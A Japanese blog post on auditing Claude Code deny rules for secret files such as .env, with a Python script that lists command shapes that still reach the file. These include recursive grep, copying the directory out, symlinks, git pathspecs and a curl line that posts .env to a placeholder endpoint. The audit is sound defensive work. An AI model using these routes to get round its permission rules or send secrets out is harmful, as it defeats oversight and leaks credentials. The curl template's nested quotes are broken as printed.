無人で走らせているタスクのログを読み返していた夜のことです。設定の deny に Read(./.env) と 1 行だけ書いてあるのを見て、ここは守れていると思っておりました。
その安心は、少し下の行に grep -r から始まるコマンドを見つけたところで途切れました。私がルールに書いていたのはファイルの名前で、そのファイルに届く経路ではなかったのです。
最初にお伝えしたいのは、拒否ルールの効きは、書いた瞬間ではなく試した瞬間にしか分からない、ということです。Claude Code の変更履歴を追っていると、この領域は版ごとに揺れています。v2.1.259 では Bash の拒否ルールの抜け道——オプション値として渡したファイル、git diff や git grep のファイル引数、cd DIR && cat FILE の複合コマンド——が塞がれ、続く v2.1.260 ではその強化の一部が差し戻されました(Claude Code CHANGELOG)。
同じ設定ファイルを置いたままでも、版を上げた日に効きが変わりうるということになります。ですから私は、ルールそのものより先に「確かめ方」を用意することにしました。
同じ 1 つのファイルに、何通りの書き方で届くのか
まず手を動かして数えました。.env を 1 つ置いた作業ディレクトリで、書き方の違う 5 つのパスが同じ実体を指すかどうかを、デバイス番号と inode で突き合わせます。
import os
cands = [
".env",
"./.env",
os.path.join(os.getcwd(), ".env"),
"config/../.env",
"secrets/../.env",
]
seen = {}
for c in cands:
try:
st = os.stat(c)
seen.setdefault((st.st_dev, st.st_ino), []).append(c)
except FileNotFoundError:
print("miss", c)
for key, group in seen.items():
print("same file ->", len(group), "spellings:", group)手元の結果は 1 行だけでした。
same file -> 5 spellings: ['.env', './.env', '/tmp/dr/proj/.env', 'config/../.env', 'secrets/../.env']
secrets/ という無関係なディレクトリを経由しても、.. で戻れば同じファイルに届きます。ファイルシステムから見れば当たり前の話です。けれども文字列として書いたルールから見ると、この 5 つは別々の見た目をしています。
ここで気づいたのは、私が守ろうとしていた対象と、ルールが照合している対象が、そもそも違う次元にあったということでした。
経路の一覧を吐き出す小さなスクリプト
そこで、保護したいパスを渡すと「そのファイルに届くコマンドの形」を並べて表にするだけの道具を書きました。判定はしません。並べるだけです。
#!/usr/bin/env python3
"""Enumerate the command shapes that reach a protected file, and show which
of them your deny rule matches as plain text. Fill in `result` by hand."""
import argparse
import os
SHAPES = [
("direct", "cat {p}"),
("dot-slash", "cat ./{p}"),
("absolute", 'cat "$PWD/{p}"'),
("roundabout", "cat {dir}/../{dirbase}/{base}"),
("cd-compound", "cd {dir} && cat {base}"),
("option-value", "git blame --ignore-revs-file={p} ."),
("option-glued", "grep -f{p} ."),
("at-file", "curl -d @{p} "$ENDPOINT""),
("git-pathspec", "git diff -- {p}"),
("git-grep", "git grep -e token -- {p}"),
("recursive", "grep -r token {dir}"),
("copy-out", "cp -r {dir} /tmp/copy"),
("glob", "cat {dir}/{stem}*"),
("symlink", "ln -s {p} /tmp/link && cat /tmp/link"),
]
def fields(path):
p = path[2:] if path.startswith("./") else path
d = os.path.dirname(p)
b = os.path.basename(p)
stem = b.split(".", 2)[0] + "." + b.split(".", 2)[1] if b.count(".") >= 1 else b
return {
"p": p,
"dir": d or ".",
"dirbase": os.path.basename(d) if d else ".",
"base": b,
"stem": stem,
}
def main():
ap = argparse.ArgumentParser()
ap.add_argument("paths", nargs="+")
ap.add_argument("--rule", action="append", default=[],
help="literal substring your deny rule matches on")
a = ap.parse_args()
print("path\tshape\tcommand\trule_text_hit\tresult")
for path in a.paths:
f = fields(path)
for name, tpl in SHAPES:
if name == "roundabout" and f["dir"] == ".":
continue
cmd = tpl.format(**f)
hit = "yes" if any(r in cmd for r in a.rule) else "no"
print(f"{f['p']}\t{name}\t{cmd}\t{hit}\t")
if __name__ == "__main__":
main()--rule には、自分の拒否ルールが実際に照合している文字列を渡します。ここでの rule_text_hit は「ルールの文字列がコマンドの中に現れるか」という素朴な検査でしかありません。Claude Code の内部判定を再現するものではなく、自分が書いた文字列がどこまで届いていないかを目で見るための列です。
最後の result 列は空のまま出力されます。ここは自分の環境で実際に試して、通ったのか止まったのかを手で書き込む欄です。自動で埋めないところに、この道具の役割があると考えております。
表を読むと、文字として届いていたのは一部だけでした
保護対象を 2 つ(.env と config/.env.production)、ルールを素朴に 2 つ(cat .env と cat ./.env)与えて走らせました。
$ python3 deny_route_matrix.py .env config/.env.production \
--rule "cat .env" --rule "cat ./.env"
出力は 27 行になり、そのうち rule_text_hit が yes になったのは 5 行でした。残りの 22 行は、同じファイルに届くにもかかわらず、私の書いた文字列とは 1 文字も重なりません。
| 経路の形 | コマンドの例 | ルール文字列に当たるか |
|---|---|---|
| direct | cat .env | 当たります |
| absolute | cat "$PWD/.env" | 当たりません |
| option-value | git blame --ignore-revs-file=.env . | 当たりません |
| at-file | curl -d @.env "$ENDPOINT" | 当たりません |
| git-pathspec | git diff -- .env | 当たりません |
| recursive | grep -r token . | 当たりません |
| copy-out | cp -r . /tmp/copy | 当たりません |
| symlink | ln -s .env /tmp/link && cat /tmp/link | 当たりません |
なかでも recursive と copy-out は、ファイル名を一度も書かずに中身へ届く形です。ディレクトリを丸ごと相手にするコマンドは、私の頭の中の「.env を読む操作」という括りから完全に外れておりました。
もう一つ、正直に書いておきたい行があります。.env の cd-compound(cd . && cat .env)は yes になりましたが、これは作業ディレクトリが . だったために、たまたま文字列 cat .env を含んだだけです。config/.env.production の側では cd config && cat .env.production となり、当たりません。当たった行を安心の材料にせず、なぜ当たったのかまで一度は見る、という読み方が要ると感じています。
ここで私が踏んだ失敗
最初に書いた版では、先頭の ./ を落とすつもりで path.lstrip("./") と書いておりました。動かしてみると、表の 1 列目が .env ではなく env になっています。
>>> ".env".lstrip("./")
'env'
>>> ".env".removeprefix("./")
'.env'lstrip は前置きの文字列ではなく、指定した文字の集合を先頭から削り続けます。. も / も集合に入っているので、.env の先頭のドットまで持っていかれたわけです。
生成された表は、それらしい見た目のまま、存在しないファイルの経路を並べていました。手元の目視で気づけたので事なきを得ましたが——検査する側の道具が静かに間違う、という形はいちばん厄介です。
この一件から、道具には「自分の入力をそのまま出す列」を必ず置くようにしました。1 列目に加工後のパスが出ていたからこそ、おかしいと分かったのです。
版を上げた日に 1 回だけ走らせる
運用としては、次の 3 つに落ち着いています。
- 保護したいパスの一覧を 1 つのファイルにまとめ、リポジトリへ commit
- そこから表を生成し、
result列は自分の環境で試しながら手入力 - 埋めた表を日付と版番号つきで保存し、版を上げた日に前回との差分を確認
3 つ目が肝心なところです。表そのものより、前回の表との差が知りたい情報になります。同じ設定で result が変わっていれば、変わったのは自分の設定ではなく足元の実装だと分かります。
守るのはファイル名ではなく、そのファイルに届く経路です。 個人開発で無人のスケジュール実行を回していると、この違いを忘れた日に限って知らないコマンドの形が増えていきます。だから私は、ルールを増やす前に経路を数えるほうへ手を伸ばすようにしました。
権限まわりの設定の書き方そのものは Claude Code の設定ドキュメントにまとまっています。私がここで足したかったのは、書いたあとに確かめる側の仕組みでした。
まずは、いちばん見られたくないファイルを 1 つだけ選んで、この表を 1 回作ってみていただければと思います。27 行のうち何行が自分の想定の外にあったかは、たぶん手を動かした人だけが知る数字です。私自身、grep -r の行を見つけるまで気づけませんでした。お読みいただきありがとうございました。